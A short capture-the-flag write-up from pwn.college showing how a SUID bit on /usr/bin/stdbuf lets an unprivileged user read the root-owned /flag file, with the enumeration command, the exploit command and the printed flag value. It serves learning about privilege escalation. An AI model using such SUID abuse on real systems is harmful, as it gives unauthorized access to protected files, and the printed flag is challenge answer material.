Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer Date: 2025-07-15
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/stdbuf, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/stdbuf

output:

-rwsr-xr-x 1 root root 47480 Sep  5  2019 /usr/bin/stdbuf

-The s in -rws indicates it’s a SUID binary. -stdbuf runs with root privileges.

🚀 Exploitation

The stdbuf command in Linux is used to control buffering behavior of standard input (stdin), output (stdout), and error (stderr) for another command.

stdbuf -o0 cat /flag

Output:

pwn.college{0yrk_SqiqllhJjs5dX0aI_peczm.dJTNxwSM0IzMyEzW}